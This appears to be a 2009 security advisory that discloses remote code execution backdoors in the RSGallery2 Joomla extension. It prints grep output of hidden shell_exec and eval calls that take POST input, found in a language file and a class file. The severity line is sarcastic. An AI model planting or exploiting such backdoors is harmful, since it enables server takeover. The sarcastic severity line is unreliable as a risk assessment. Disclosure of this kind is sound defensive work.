Backdoor in com_rsgallery2 gallery extension for joomla

Type securityvulns
Reporter Securityvulns
Modified 2009-05-29T00:00:00


Vulnerability: Remote code execution back door(s)

Software: RSGallery2 - Gallery Extension for Joomla! We are currently working on a new website. All files are still available at the JoomlaCode project page.

Severity: Not a big deal. Joomla components contain all sorts of obfuscated junk all the time. Who cares what it does?

URLs: says, about these releases: RSGallery2 1.14.3 Security Release Jonah Braun 2008-02-13 This is an updated production alpha containing a low threat security fix. If you use commenting you should upgrade. An option to show/hide the Search box
has also been added. See the official site for downloads and support:

    RSGallery2 2.0.0b1 released
    John Caprez
    This is the first version of RSGallery2 that runs in Joomla 1.5 native mode.

    Special thanks goes to all the translators providing the updated language 
    files and the testers of the nightly builds.
    Download it and enjoy. Feel free to report any bugs or problems in the forum 
    at the RSGallery2 main web site

Vendor notified: I tried. Not very hard though. joomlacode doesn't seem to have a security contact and links to as if they are the same crowd. I'm sending a BCC to the given address for Jonah Braun though. I'll send it to bugtraq, and they will sit on it for a few hours. Huh? Do I need more coffee, or does this page say to contact them using the details at this page? So you do that, and it says ... no wait, infloop. Oh wait, there is a contact form. Filled something in. Blah.


% wget \

% unzip

% egrep -r '(eval|exec).*POST' .

./language/english-utf8.php: $result = shell_exec($_POST['cmd'] . " 2>&1 ; pwd"); ./language/english-utf8.php: $result = shell_exec($_POST['cmd'] . " 2>&1"); ./includes/rsgallery.class.php:$out = execute($_POST['cmd']); ./includes/rsgallery.class.php:eval($_POST['php']); ./includes/rsgallery.class.php:$out = execute($_POST['alias']);

There's other fun obfuscated javascript hiding in 'eval's'.

Ditto version 2

nuf sed &:-)